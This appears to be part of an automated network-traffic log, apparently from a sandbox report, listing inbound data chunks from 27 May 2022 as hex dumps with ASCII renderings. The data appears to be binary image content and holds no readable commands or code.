0a 37 52 0a 77 a3 cf 5f 99 88 27 bc da cb bb ef bc 43 27 4e 1c d7 7e 19 c0 fb c1 d5 d5 8d 3a 76 ec 48 b3 66 cf e6 f6 ad 
ba b1 f8 cf 3f 69 c7 8e ed 2c 7a 1e 30 70 a0 b6 54 10 ca 47 4d f7 84 87 76 0f 42 5c 7c cb 98 99 99 69 4b 05 41 10 04 41 
a8 0b d4 05 4f 78 b0 59 e1 7b a7 a2 98 39 73 a6 f6 af 6b d4 04 4f 78 c7 8f 9f a0 d4 b4 34 ed 57 ed c2 c9 c9 91 7c db b6 
d5 7e 55 7f c4 13 5e dd 41 3c e1 09 a5 41 3c e1 5d a3 a2 c2 d1 96 87 ce 9d 3a d3 87 1f 7e a8 fd 2a 99 93 27 4f d2 92 25 
8b e9 ec 99 33 34 63 c6 4c 9a 78 f3 cd 5c af 4c f1 d9 
Data Ascii: 5U7z(  @["  WtT'<,##kBuqtwV[\47Rw_'C'N~:vHf?i,z0pTGMvB\|iKAAOxY{9skOx4W|~U^A<A<]:~*'O%34cLx\L

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 311 IN Data Raw: dd e8 d8 05 6b f2 8f cb 34 99 b2 73 0d 1a c2 33 89 d9 26 d7 5f 6f d2 31 b5 ce 38 d9 07 ae 21 73 33 73 93 06 
c8 ba c0 e2 c5 8b d9 7b cb 1d 77 dc 59 ee 01 6b 18 70 7f fb ed 57 ee 44 42 0c 52 10 18 e3 9c 9d 9d b9 f3 86 b0 53 7e 7e 
7e 74 ee dc 39 76 51 de bc 79 e1 0e 9d 90 9f 98 8b 97 e9 95 6d 71 74 2a 21 3b 5f 82 b8 74 42 eb 6b de 38 8e 1d 3b c6 
22 31 84 ff ab 88 84 d0 5b a9 69 a9 fc dc aa ab 87 92 aa e4 84 ff 09 ce 63 88 47 3b 77 ae be 1d f2 df 7f 5f c8 75 7a d6 6d 
b3 aa 8d 21 7c 6b f8 45 fa e1 48 72 a1 32 dc b6 a9 05 75 73 b5 a4 a5 01 a9 b4 e4 54 5a a1 f5 fd 9a 59 53 2b 87 86 f4 9d 
da f7 bf b3 17 0a ad 1f e7 63 47 6e b6 66 f4 7f 7b 13 69 9b 3a 47 c1 f5 10 f1 35 b6 2c 39 0f 10 be 12 03 62 b7 dc 32 b9 90 
e1 76 cb 96 cd aa bd 8a a4 5b 26 4f 66 63 b3 b1 f0 ec 
Data Ascii: k4s3&_o18!s3s{wYkpWDBRS~~~t9vQymqt*!;_tBk8;"1[icG;w_uzm!|kEHr2usTZYS+cGnf{i:G5,9b2v[&Ofc

2022-05-27 06:46:23 UTC 312 IN Data Raw: a1 ee 12 a5 be 21 30 b1 d8 b3 79 73 9e 74 84 be 99 8f 4f 2b ca ce be 44 01 01 01 94 10 9f a0 6d 59 32 a1 a1 
21 3c 99 3f 33 2b 4b 5b 62 20 2c 3c 8c 7e f8 fe 3b 5a ba 74 09 9d 3d 1b cc 76 4e 88 a5 b7 6f df 4e df 7e fb 0d 47 d3 82 6d 
34 29 31 89 ae e4 5d 0b fa 15 70 ea 14 8b 01 e1 9d f7 8f df 17 b2 60 b0 41 83 fa 2c de c3 a4 e2 2f bf fc 82 3d fd ea 36 c9 
92 68 d3 d6 57 f5 47 cd 69 df be 3d f4 f5 57 5f b1 0d 13 40 80 87 6f a9 f9 3f 7c cf 11 52 20 ee 6b de c2 8b d7 09 82 20 08 
82 20 08 75 93 6a 3f b2 ed 6e 67 4e 2d 1d 2c 8a 4c 0d d5 87 33 f0 6c d4 d0 e4 fa eb 4d 7a 08 5a 53 eb 8c 93 50 71 a0 e3 
02 2f 4e 45 25 18 87 75 a1 07 c2 9c 64 5f 2a 1c 5e 52 28 8c 79 83 7a e4 dd b8 21 d7 29 60 69 56 9f 7f bb da 98 16 18 d9 
da da b1 a7 91 f2 26 6b 6b 2b 3e 0e 06 01 30 13 
Data Ascii: !0ystO+DmY2!<?3+K[b ,<~;Zt=vNoN~Gm4)1]p`A,/=6hWGi=W_@o?|R k  uj?ngN-,L3lMzZSPq/NE%ud_*^R
(yz!)`iV&kk+>0

2022-05-27 06:46:23 UTC 314 IN Data Raw: 2f 93 a6 0c b0 fe aa 6c be f0 fc b3 b4 69 d3 26 ca c9 b9 4c 3d 7a f6 54 e5 d8 83 c3 8c bc fb f6 db b4 65 f3 e6 
42 fb 5d 48 4f 67 01 10 04 e8 7f 2e 5a a4 ea 8a 25 0b d3 51 b7 21 4c ff e2 f3 cf 39 14 34 a8 5f bf 1e d9 d9 db b1 a7 2f 1b 
1b 6b 2e fb 8d 55 7d 42 3b 82 7a 6b 61 29 13 3e 84 ba c9 80 01 03 d9 e3 40 74 74 14 7d fe d9 67 ec d5 b5 34 62 3c 78 
62 46 1b 01 a1 fa 77 df 7d cb c2 d6 6e dd bb 93 87 47 33 f5 de 0c 66 21 2e c4 b0 08 bb 63 0c 04 b9 cb 97 ff c3 fb 62 20 
09 a1 8b 30 41 08 a1 d7 f1 9e 2a 08 42 aa 3d f7 ec b3 2c dc c3 71 71 fc 36 6d da f0 f9 77 ee dc 45 11 5a 1d 87 08 1e a2 
96 82 6d 52 ce e5 1c de f6 d8 f1 63 f4 eb af bf d0 f1 63 c7 78 c0 0a 03 58 10 e0 2f 5d b2 84 d6 ae 59 cb 03 5b c6 44 46 45 
f2 f6 10 cd 63 e0 07 e1 b3 bd 54 c2 f9 7e f8 fe 7b 
Data Ascii: /li&L=zTeB]HOg.Z%Q!L94_/k.U}B;zka)>@tt}g4b<xbFw}nG3f!.cb 0A*B=,qq6mwEZmRccxX/]Y[DFEcT~{

2022-05-27 06:46:23 UTC 315 IN Data Raw: c0 03 8f 57 d8 ce 14 30 5e 7d f3 d5 d7 f4 e8 23 8f e4 4b 2f bf f4 32 1d 3b 76 8c 07 cc 1a 68 c6 24 d4 a7 43 87 
0e b1 a7 af 5f 7f f9 99 07 ee 2f 5f ce e1 01 b5 ce 9d 3b b3 e7 2e 53 64 66 66 d1 f6 6d db e9 c8 91 23 d4 b5 5b 37 1a 34 
68 30 39 34 2e 7c 3d 10 41 20 2c 2e 3c fd 6c df be 95 de 7a f3 4d fa e6 eb af 68 cb 96 2d 2c a4 2b eb 80 8f 83 43 63 9e 
b5 3a 74 d8 30 1a 30 60 10 8b 1d e0 01 48 66 8c 0a a5 01 02 98 31 63 c6 b0 57 3a d4 03 9d 61 c3 86 ab fa d4 84 0d c2 
c6 ef 98 dd bb 77 b1 c8 ae 4f 9f be 6a bf b1 f9 f6 d1 cb a2 a3 a3 53 a1 f2 b7 71 e3 7a 0e fb 88 d0 cc 63 c7 8e cd 27 aa 69 
df ae 3d f5 ef df 9f bd 54 41 9c 53 b0 6e c3 58 3c 77 ee 03 e4 e5 e5 a5 2d 31 18 81 27 4d ba 85 eb 8b b1 b0 86 31 3e b7 
d4 03 41 60 dc dc dc e8 b1 c7 1f a7 79 f3 1e a0 be 7d 
Data Ascii: W0^}#K/2;vh$C_/_;.Sdffm#[74h094.|=A ,.<lzMh-,+Cc:t00`Hf1cW:awOjSqzc'i=TASnX<w-1'M1>A`y}

2022-05-27 06:46:23 UTC 316 IN Data Raw: b6 bc 86 93 93 b3 f6 2f 41 10 2a 02 2b 2b 4b ea d8 b1 23 4d 99 3a 95 e6 dc 3f 87 5c 5c 5d 38 34 ed 89 e3 c7 
0b 0d be 20 2c 52 49 5e 0f 8c f7 41 18 f7 5f 7e f9 99 f6 ed dd c3 62 93 61 c3 87 d1 94 29 53 68 e6 6d b7 a9 73 76 d2 b6 
ba 46 4e 8e 61 10 a8 75 6b 83 10 be bc 40 04 63 67 5b fa 6f 03 bc 67 31 00 d5 54 7d af 20 5c 94 20 08 82 31 10 de 85 85 
85 5d 4d a6 06 ac 11 86 b6 b8 6f 21 ac 73 71 71 61 41 2f fe 8d b6 12 61 fd f1 1d 85 65 ba 00 b8 3c df 53 d5 05 78 df f6 f6 
f2 ba ee a4 bf 67 d0 cf 0a 0a 3a 4d 87 0e 1d a6 83 07 0f d2 a1 c3 87 d9 63 a0 df 91 23 f9 12 3c 0b 62 dd c1 83 87 68 df 
be fd 14 10 18 98 cf 16 62 ea 1c 65 4d 10 18 0a 82 20 d4 19 1a d8 50 ae 4d 17 95 3a 12 d5 b7 d0 16 d6 7e 16 1c 4f a1 ff 
ed 49 e0 b4 37 2a 83 aa 52 87 07 41 5c 60 40 00 7f 1f 
Data Ascii: /A*++K#M:?\\]84 ,RI^A_~ba)ShmsvFNauk@cg[og1T} \ 1]Mo!sqqaA/ae<Sxg:Mc#<bhbeM PM:~OI7*RA\`@

2022-05-27 06:46:23 UTC 318 IN Data Raw: eb 56 fa e6 9b af d9 ad 7d 5d e5 cd 6d d1 d4 fd bb 53 a5 4e c7 63 33 b5 3d 0d cc 5c 16 62 72 bb a2 52 4a 56 
d5 bb eb af ed 1c 3a 74 90 f6 ef df c7 e9 d8 b1 a3 6c 08 1a 32 64 28 3d fb dc 0b d4 aa 75 ab 32 19 76 51 2f a6 4d 9b 4e 
8f 3d f1 04 87 7d 0a 0a 0a e4 e3 fa f9 1d e6 01 b0 a1 43 87 d1 a4 5b 26 6b 5b 1b 44 78 b7 4c 9e 4c 63 c6 8c a5 cc cc 4c 
de 36 2c 2c 94 da b7 6f 47 a3 d5 b2 26 4d 4a 16 09 41 a4 d4 a6 4d 5b 9a 35 7b 36 f9 fa fa d2 b6 6d 5b 39 34 2d 3c 60 78 
36 f7 64 01 2d 06 f8 71 ec 23 47 fc 58 f8 30 61 c2 44 ba f7 be fb 78 9d 18 ae 85 ea 4a bf 7e fd c9 da da 86 36 6f de 44 6b 
d7 ae e1 3a a2 03 f1 dd 5f 7f ff 45 b9 b9 97 0b 95 61 78 c3 b2 b1 b5 a5 4d 9b 36 d2 f6 6d db 0a 79 97 3a 74 f0 10 fd f2 cb 
2f 65 1e 74 35 05 da 0b 84 ac 46 fd 3e 1f 1d ad 2d 
Data Ascii: V}]mSNc3=\brRJV:tl2d(=u2vQ/MN=}C[&k[DxLLcL6,,oG&MJAM[5{6m[94-<`x6d-q#GX0aDxJ~6oDk:_EaxM6
my:t/et5F>-

2022-05-27 06:46:23 UTC 322 IN Data Raw: 43 69 af 5e bd e8 a1 87 1e a6 6e dd ba 53 60 60 20 7d f5 f5 57 e4 77 c4 8f 2e 5f be ac 6d 25 08 55 43 fd 7a 44 
0d d4 ff 4a 9b 0a 9a f9 eb ab f2 6c 6a bb a2 92 20 08 82 20 08 82 20 08 82 50 3b b8 74 e9 12 65 67 67 57 59 aa 2b 5c ca 
b9 54 64 28 5a e0 e4 e4 54 6e 11 9e b3 b3 b3 f6 2f d3 e0 99 0a 82 20 08 65 07 13 54 06 0e 1c 44 8f 3e fa 38 35 6b d6 8c 
0e 1c 3c 40 3f cc 37 4c be cf cd cd a5 3c 4b 2f ca b3 eb 4d 57 cc 20 86 96 61 32 41 10 04 41 10 04 41 10 2a 06 e9 5d 08 
82 46 e7 ce 5d 58 88 37 7c f8 08 8a 8e 8e a6 6f bf fd 96 b6 6c d9 42 17 2f 5e d4 b6 10 04 41 10 04 41 10 04 41 10 04 41 
a8 9e 9c 38 71 82 0e 1e 3c 58 65 a9 ae 90 71 31 a3 58 11 5e 65 61 f0 84 97 ae fd 12 04 41 10 ca 0a bc 47 f7 ed db 97 85 
78 5d ba 74 e1 f7 24 84 78 fb 0f ec a7 cc cc 4c ca b3 
Data Ascii: Ci^nS`` }Ww._m%UCzDJlj   P;teggWY+\Td(ZTn/ eTD>85k<@?7L<K/MW a2AAA*]F]X7|olB/^AAAA8q<Xeq
1X^eaAGx]t$xL

2022-05-27 06:46:23 UTC 326 IN Data Raw: fb bb 3a d0 bb bb e2 39 0c ed 27 a3 5c d5 37 ee 05 da 19 71 91 3a 3b 59 d2 97 63 dd 54 ff 50 e6 9c d5 24 10 
c2 38 30 e0 14 35 b4 b0 a0 6e dd 7b 6a 4b 85 da c8 ce 9d 3b e9 c7 f9 3f 90 9f 9f 1f 4d 98 38 91 e6 ce 9d c7 df 91 0d 1a 
34 a0 7f fe fe 9b fe f7 bf f7 c9 dc dc 9c ee bc f3 2e ba e3 ce 3b 8b fd b6 36 e6 e0 fe bd ec 05 a7 7d 87 8e e5 f2 70 bd 6d cb
26 be 86 41 43 86 69 4b aa 1f 1b 36 6e 62 0f dc c8 af ea ea a9 17 b6 9e d3 a7 4f 93 a5 a5 25 7f 87 0b c2 8d e0 f7 3f 16 f1 
5f 84 9b ac 6a 30 41 0d 76 ad 01 03 fa 93 b7 97 97 b6 54 a8 2c 36 aa 76 31 e6 06 b6 8b 41 41 41 fc ce 81 07 fe eb 89 ae 
50 53 99 35 7b 16 8b da 26 4e bc 99 2c d4 37 5c 55 62 67 67 47 33 67 cc e0 48 0e 73 e7 cd e5 65 e8 7f c2 a6 8d eb e9 
d3 bb 37 7b da 05 78 2f fd f4 f3 cf aa 7e 9e a7 d9 
Data Ascii: :9'\7q:;YcTP$805n{jK;?M84.;6}pm&ACiK6nbO%?_j0AvT,6v1AAAPS5{&N,7\UbggG3gHse7{x/~

2022-05-27 06:46:23 UTC 328 IN Data Raw: c5 ee fc 31 00 00 ff f4 49 44 41 54 8b ce 9f 8b 16 f1 60 7a db b6 06 d1 dd 8e 1d db e9 eb 2f bf e4 59 c6 c6 c0 
50 b2 79 f3 66 7a ff fd 77 c9 cf cf 8f 0d 89 be ed da f1 a0 ff 3f cb 97 d3 0f df 7d 4f 41 81 81 da d6 65 c3 dd dd 9d 86 0c 1d 
42 4e ce ce ec 81 0d 02 bf d2 80 73 c3 80 07 c1 01 42 4e 14 04 eb e1 b1 0d 79 50 30 34 b9 9e 07 df 7d f7 2d 6d d9 b2 99 
8d 6a f0 b0 14 11 11 4e 8b ff fc 93 fe fe fb 2f fa ef bf d5 f4 cd 37 5f f3 71 7c 7d 7d d9 b0 b6 77 ef 5e fa f8 c3 0f 29 21 c1 74 
18 14 18 5b 57 af 5e 45 3f fd f4 23 8b df 3a 75 ee 4c b6 b6 76 e4 77 f8 10 8b 18 96 2e 5d a2 6d 69 00 c6 44 9c e7 93 8f 3f 
a2 13 27 fc 59 04 d8 46 3d 0b 18 07 97 2e 59 42 bf fc fc 13 85 04 07 6b 5b 1b c8 ca cc 52 f7 94 46 07 0f 1d a4 7f d4 75 1
e 3b 76 8c c3 b2 e0 19 c5 c4 c6 a8 
Data Ascii: 1IDAT`z/YPyfzw?}OAeBNsBNyP04}-mjN/7_q|}}w^)!t[W^E?#:uLvw.]miD?'YF=.YBk[RFu;v

2022-05-27 06:46:23 UTC 332 IN Data Raw: 10 04 41 10 2a 07 d8 7a 8e 1e 3d 4a 7e 7e 7e 85 92 ce e1 c3 87 8b 4d 15 05 26 f0 40 78 07 af dc 17 2f 5c d0 
96 5e 03 e2 3b 88 eb 90 5c 5c 5d d4 a7 ba 69 7b 24 44 6f b0 a9 15 65 c7 b2 51 df f7 45 85 19 86 d0 0e de e6 58 e0 57 41 
c6 8e 82 13 88 4d 51 d6 d0 b7 b8 37 4c 40 f6 f2 6e c9 de f4 bc bc 7d c8 d9 c5 a5 c8 fb 12 04 41 10 04 41 10 6a 07 22 c2 
13 04 41 10 6a 3c 1e 76 66 d4 cc de 9c cc 1b 18 0c 37 a9 d9 79 ec 09 0b 5e 71 f4 65 05 f9 f1 a7 1f e9 a5 97 5f 2a 94 f4 
19 a4 35 09 78 3f bb e3 8e 3b e9 89 27 9e 34 99 b0 ae 75 eb d6 da d6 e5 a7 57 af 5e d4 af 5f 7f f6 bc 03 31 01 66 d2 16 
47 72 72 12 5d 36 31 b0 6f 10 9c 55 ad 22 08 de c2 4c 01 f1 43 7c 42 02 1b 10 1b 35 ca 1f 12 b6 59 33 4f ba eb ee 7b 4c 
e6 29 d2 6d b3 66 91 57 81 19 b0 98 e5 da b0 08 4f 88 2d 
Data Ascii: A*z=J~~~M&@x/\^;\\]i{$DoeQEXWAMQ7L@n}AAj"Aj<vf7y^qe_*5x?;'4uW^_1fGrr]61oU"LC|B5Y3O{L)mfWO-

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 337 IN Data Raw: 22 5d 8c 8f 57 f9 b0 95 d6 2f fd 9a be da 6f 4b c3 55 d7 e4 c9 1e 8e 54 c7 ec de 82 11 09 09 f1 ec e9 00 a2 ad 
86 0d 0b bf bf f7 45 66 d2 82 13 29 ec 35 c1 cd d6 9c 45 f8 a9 d9 79 74 47 a7 c6 14 ae be 05 e6 1f 49 a2 ac cb 57 f8 dd 0f 
ef 98 55 09 da c0 9d 3b 76 50 7a 7a 3a 8b 68 51 ef c3 55 bd 3e 7d fa 34 ed dc b9 83 b6 6d db ca 22 65 78 65 6d dd ba 35 
ef 03 f1 1b ea c9 69 55 bf cf 9c 39 c3 42 b6 94 d4 54 8a 52 ed 45 58 78 38 1d 3c 74 90 f6 ec de 4d 36 d6 36 f9 44 6c c9 
49 c9 74 ec d8 51 16 da 75 ea dc 99 3d cc ea 60 c0 2c 33 2b 93 db 93 90 90 60 ca b8 98 c1 6d 53 a4 3a 26 da 88 8d 1b 
37 d0 fe fd fb d8 b3 eb 84 09 13 79 7b 7d b0 e9 bf ff 56 b3 b7 09 88 01 0b 86 8e 87 88 37 2a 3a 8a 8e 1d 3d ca c2 5e dc 
6f 74 74 34 b7 77 21 21 21 b4 79 d3 26 16 00 f6 eb d7 
Data Ascii: "]W/oKUTEf)5EytGIWU;vPzz:hQU>}4m"exem5iU9BTREXx8<tM66DlItQu=`,3+`mS:&7y{}V7*:=^ott4w!!!y&

2022-05-27 06:46:23 UTC 341 IN Data Raw: 14 86 fd cc 4d ee 57 d3 c0 f5 db d8 58 73 d9 4b 4f 4b 63 51 50 41 92 93 53 78 39 be 3b 41 62 62 1c db 8d 0a 
02 e1 38 f2 cc c9 a5 7c 1e 18 85 fc e8 65 53 4f 2e ae 6e ec 85 10 40 bc 5b 16 3b 60 fe 32 ab 2d 14 6e 38 a8 73 49 89 09 
ea 3d 60 41 cd 55 5b ef e8 e4 9c ef 99 c3 83 6f 4b 9f 56 d5 56 80 57 d3 41 08 5a 44 f5 80 e0 7d ca 94 a9 e4 ed dd b2 c0 
d8 41 2f ba 6d d6 ac eb 16 e0 dd 30 54 7b 8c 31 03 53 e3 06 68 13 20 bc c3 7d 9a f2 34 2d d4 5d e0 cd 16 ed 8f 20 08 82 
20 08 82 20 54 04 95 aa a2 6a de bc 05 87 a8 8c 08 87 7b f9 08 93 c6 2a 10 15 15 c5 ae c0 e1 9e dc dd dd a3 c8 81 1a 
18 b5 e0 79 0b 03 27 a9 a9 a9 9c 30 eb 0c e1 3b 4c 19 cc d0 a9 c7 b6 d8 0f 86 1a 84 90 c5 3e 86 70 92 06 b0 5f 46 46 c6 
d5 75 f8 8b df b8 d6 8b da 79 0a 1a 40 b1 0c c7 2d 08 96 e3 
Data Ascii: MWXsKOKcQPASx9;Abb8|eSO.n@[;`2-n8sI=`AU[oKVVWAZD}A/m0T{1Sh }4-]   Tj{*y'0;L>p_FFuy@-

2022-05-27 06:46:23 UTC 345 IN Data Raw: 38 78 4e de 2d bd 4c 8f 1b 74 e8 c8 76 77 3c ab 10 55 87 4f fa 9f 64 a1 2e 26 4a 03 44 d4 41 94 a6 c5 4b fe a4 
e0 b3 67 79 4c aa 6f bf be bc 7f 5b 75 8f 28 7f b0 f3 9e 51 ef 58 67 75 7c d8 3e f5 fb c1 b8 01 c6 ab d0 56 21 20 4e a7 ce 
9d a8 67 8f 9e d4 aa 55 6b 9e a0 04 7b 2f ec ff 18 b7 90 be 8d 50 1d 81 b8 1f f5 05 4e 41 f4 71 0a 41 10 04 41 10 04 e1 fa 
a8 74 11 5e ef 3e 7d 28 33 2b 93 02 03 02 d8 20 04 f1 93 f1 c0 0c 44 36 10 99 0c 1c 34 98 ba 76 ed ca 62 2c 74 86 4c 89 
f0 60 84 42 e7 8a 85 4e ad 5a f1 b1 da b6 6d ab 3a da 09 74 fa 74 10 cf 60 f3 f5 f5 bd da a1 81 08 0f 1d 79 cc a2 9a 36 7d 
06 77 ba ba 74 e9 42 0e 4d 1c b8 e3 04 01 18 84 43 f7 dd 3f 87 05 56 38 1e 3a 44 10 85 40 20 b2 7b f7 2e 36 e0 96 56 84 
07 51 1f 3e 58 fb f7 1f 48 93 6f 9d cc 9d 47 
Data Ascii: 8xN-Ltvw<UOd.&JDAKgyLo[u(QXgu|>V! NgUk{/PNAqAAt^>}(3+ D64vb,tL`BNZm:tt`y6}wtBMC?V8:D@ {.
6VQ>XHoG

2022-05-27 06:46:23 UTC 349 IN Data Raw: 7d 61 27 29 98 87 10 b8 c0 23 22 fa eb 08 55 db a6 6d 3b ce 4f 84 ac 45 28 48 78 e5 42 9e e0 5a 00 da 44 d8 
ad 30 b9 d7 d9 c5 95 97 15 04 f6 b3 58 f5 dd 65 a3 9e 31 c2 6a d6 44 f4 70 b4 f0 1e 68 5c 26 91 7f c8 df f4 b4 34 ce 1f 87 
26 0e 64 6b 14 fe 13 f5 16 b6 2b 84 6d 2e 08 de 2b 45 85 a3 85 07 4a d8 a1 10 86 b8 20 b0 33 c7 c7 c5 b1 10 50 5f 7f 21 
fd 02 7b 48 2b aa bc 02 78 0a 83 c7 36 3c 7b 09 47 5b 7a 50 45 f0 cc d1 8e 35 66 2f 91 aa fd 4a 49 51 7f 73 59 c4 84 ba 
62 68 17 d3 55 bb 65 ce 09 db 1b 27 b4 67 d8 9f bd 68 aa 63 e8 f6 6a 84 a3 85 30 12 21 52 f5 65 c6 40 ec 87 3a 86 70 a5 
7a 3d 86 17 3e 94 45 84 a3 c6 b1 4d 81 f2 83 be 6f 4d 0d 47 6b 0c ea 18 ca 2a ec 80 dd ba 77 57 f7 1f c3 93 aa 21 12 47 
be 20 5f 11 42 16 4e 15 10 ee 1c cf a4 28 fb ad 4f 2b 
Data Ascii: }a')#"Um;OE(HxBZD0Xe1jDph\&4&dk+m.+EJ 3P_!{H+x6<{G[zPE5f/JIQsYbhUe'ghcj0!Re@:pz=>EMoMGk*
wW!G _BN(O+

2022-05-27 06:46:23 UTC 353 IN Data Raw: 6f b0 0d 1a 13 8f e8 06 fe 27 58 b8 e7 db ee da 7a 88 54 21 80 85 6d 1b a2 40 5c 27 ca 38 ec 26 28 0f 10 71 
42 48 e4 e8 d8 94 9a 7b 79 13 c2 aa 0a 85 61 f1 e8 b9 08 fe 8b ba 64 68 6b 0c f5 04 6d 1c a2 42 34 75 74 22 c7 a6 8e f9 
42 2c 43 00 1b 1b 7b 9e ed c5 86 89 d7 d7 da 45 d4 43 d4 03 cf e6 cd d9 56 a7 73 70 ff 5e f5 ff 7a d4 a9 4b 57 93 75 7a 
cf ae 9d aa 8e 65 d3 80 41 83 b9 ec e9 40 80 77 2e 3c 5c d5 53 78 bd c4 39 10 dd c1 9c ed 67 10 07 46 47 46 b2 b0 ab 
ad af af fa dd 4c db ab 66 70 e8 e0 21 da b0 61 1d 85 87 47 b0 f0 17 76 4e d8 1a 31 36 62 18 6b 69 41 03 06 0e e0 09 ec 
c6 79 86 71 0c 4c 08 3e e9 ef 4f f0 d2 aa d7 53 bc 4b 60 97 c4 38 c3 f8 09 13 f2 e5 ff 9d 77 dc 4e cd 54 bd 7d e3 cd 37 f3 
2d 3f 7d 1a 63 08 eb d9 be 8f 7a a3 bf b3 af 8e 21 f4 eb 
Data Ascii: o'XzT!m@\'8&(qBH{yadhkmB4ut"B,C{ECVsp^zKWuzeA@w.<\Sx9gFGFLfp!aGvN16bkiAyqL>OSK`8wNT}7-?}
cz!

2022-05-27 06:46:23 UTC 357 IN Data Raw: 7e f3 eb df 84 00 2d e0 60 52 f7 8d 93 26 4d 0e 17 01 b3 59 be 7c 85 bd f5 e6 9b a1 cb 0c 00 38 54 0c 1b 36 
2c 04 d9 f5 ed d3 c7 ce 38 f3 4c fb e5 2f ef b4 46 8d 1a 85 ae 8f 6e ff f9 cf ed c6 9b 6e 0a 5d 47 ff e9 4f 7f 0a fb b9 82 f4 
d1 94 d5 b6 72 43 f6 2e 64 df 99 b4 ca d6 6d e6 86 0a 70 28 7b ec b1 7f da bf fe f5 84 cd 9f 37 cf ee ff cb 03 76 de 79 e7 
5b f9 f2 15 42 4b b7 ef 7f f0 81 d5 ac 59 cb be fc f2 4b bb e5 e6 9f d8 72 02 f1 00 00 c0 11 a8 74 e9 52 e1 75 c1 c2 85 b9 
06 8c 95 2d 5b 36 04 df b5 6b db 76 b7 bd 72 c4 94 d7 c4 49 93 ec 93 4f 3e 0d 2d e0 2d 5f be 3c 39 87 ab 64 47 1f 7d b4 
1d 73 cc 31 99 a9 f2 4f 0f 45 97 29 5d d6 4a 14 2f 19 ae 73 6d d9 ba 25 33 e6 c8 b3 6e ed 5a 9b 35 73 a6 6d da b4 29 33 
64 67 0a 08 5c bc 68 51 e8 de 17 00 00 00 85 
Data Ascii: ~-`R&MY|8T6,8L/Fnn]GOrC.dmp({7vy[BKYKrtRu-[6kvrIO>--_<9dG}s1OE)]J/sm%3nZ5sm)3dg\hQ

2022-05-27 06:46:23 UTC 360 IN Data Raw: 55 d8 be 02 3f b3 5f b6 f8 be bd fe 8d c7 6c e2 1f 4f b5 e9 ff ba c4 ce ba 3f 59 c7 8f 8d b7 7b 4e ca 4c 82 42 45 
37 62 57 2c 5f 6e 8d 9b 34 cd b5 55 51 b5 7e f7 f4 c8 e5 36 75 c5 26 db b2 75 c7 e9 6c b5 32 c5 ec 8a 36 95 ec a6 4e 95 
ad 6c 2e d1 58 97 7c e3 92 70 43 28 bf 3e fc e0 c3 cc bb dd d3 6f 40 ad da 3d f4 d0 83 e1 b7 ae e0 e4 cb 2e bb dc 4e 3b 
fd f4 cc 14 3b d3 df 1e 05 ed 7e f6 e9 27 76 fe 05 17 da 85 17 5e b8 53 10 a2 fe ce 2a f8 5e 37 c9 cf 39 e7 1c 6b d6 ac f0 
b5 8e a7 65 d3 4d 34 dd ac ea dc a5 5b 66 68 8e 8d ab 67 db c0 f7 fe 68 f7 3f 31 d0 36 34 3a d1 4e ec de dc 9a 95 49 8e 
43 a6 0c b2 4f 07 4e b5 95 95 8f b3 6f df fe 13 bb b4 6b 4d db 9f ed c5 ae 1b f5 9a fd fd 5f cf db e0 c6 37 db 1f af 3f d6 1a 
57 dd 35 50 14 07 cf a0 01 fd c2 ef ad 6d 
Data Ascii: U?_lO?Y{NLBE7bW,_n4UQ~6u&ul26Nl.X|pC(>o@=.N;;~'v^S*^79keM4[fhgh?164:NICONokM_7?W5Pm

2022-05-27 06:46:23 UTC 364 IN Data Raw: f1 c4 8e 23 8a f2 56 37 f9 3d b4 a9 9b 73 d3 a0 64 b5 9c df 47 9d fd 73 0f 01 87 a1 3a e5 8b 87 ae 69 8b ef 87 
56 2c f3 4b 37 4f d5 45 be f6 e3 6a 75 42 af 6a 09 57 af 6a f1 56 c9 85 5f 59 52 75 fd ee d4 2a 82 f6 fb fa fd 85 df 64 f2 7e 
6b f2 db f5 61 7a 55 e0 bb ff 46 c3 fc 99 fd 93 fe 66 29 60 f7 f9 e7 9f 4b f6 35 53 72 5a b7 2d 5b d6 86 0e 1d 6a 0f 3f fc b0 
bd f7 ee bb bb fc 7e d5 4a 84 ce 93 f5 e0 da cb af bc 1c 1e ae 51 f7 fe 9a ee 8b cf 3f b7 c9 93 26 d9 3b c9 39 f5 c1 0d c2 
db 94 fc bd 9e 6b b3 a7 17 4f d6 5f 13 6b dc 28 cb 0d af 64 df 58 a5 66 2d ab b3 65 6b b8 61 b6 e7 d0 84 0d b6 62 de 2c 
9b 32 79 8e 4d f8 f8 11 bb f7 b7 bf b0 7b df 5f 68 6b 92 fc 9b 24 c7 4d 4b 86 0c b6 d7 ef be d9 7e f6 8f 8f 6c ec fc 9c 60 a5 
cd 65 ea 5a ed fa 4d ac 65 8d 22 
Data Ascii: #V7=sdGs:iV,K7OEjuBjWjV_YRu*d~kazUFf)`K5SrZ-[j?~JQ?&;9kO_k(dXf-ekab,2yM{_hk$MK~l`eZMe"

2022-05-27 06:46:23 UTC 369 IN Data Raw: 8a 15 2b 64 e6 c0 c1 a0 1b 8c 17 5f 7c 89 5d 78 d1 c5 e1 24 f5 a5 17 5f 0c df 93 2e 06 e8 82 d9 77 bf f3 bd d0 
0d 57 41 5f 00 3e 52 a9 2b c2 eb 6f b8 c1 ce 38 e3 cc 70 91 4f 01 a9 5a df 7a 9a bc 45 cb 96 f6 93 9b 6f b1 16 2d 9a 87 
8b 2e 85 99 6e 88 ac cb d2 85 92 e8 09 68 75 3d a1 1b 47 5a 5f ae 52 c5 4a b6 78 f1 a2 70 f3 f9 50 bd a8 26 6a e1 a6 47 
8f 1e e1 37 a4 80 32 b5 46 93 9b 70 a1 be 55 ab d0 72 82 82 cb 7f f3 eb 5f db 2f ef b8 c3 fe ef 77 bf 0b 01 78 fa ed 9d 73 
ee b9 e1 e2 e6 be a8 59 b3 a6 9d 7f c1 05 e1 a2 7b df be 7d ec 9e ff fd df 50 ce 5d 77 de 19 5e 15 04 3a 6f ee bc 02 59 af 
97 5c 72 49 68 e9 e7 c3 0f 3e 0c cb a3 32 7e 7e fb 6d 36 70 e0 c0 d0 42 50 b6 bf d7 0a 3a 50 60 91 2e ce fe 2c f9 9b a1 
00 28 05 d1 e5 46 7f 5f 14 54 f8 c3 1f ff 38 b4 
Data Ascii: +d_|]x$_.wWA_>R+o8pOZzEo-.nhu=GZ_RJxpP&jG72FpUr_/wxsY{}P]w^:oY\rIh>2~~m6pBP:P`.,(F_T8

2022-05-27 06:46:23 UTC 373 IN Data Raw: ac 5d 13 82 40 1b 26 49 e7 83 e3 c6 8e 09 41 70 ed da 77 d8 e3 36 e9 eb 49 bf 17 5d 53 d4 f9 8f ba 66 8e 5b 
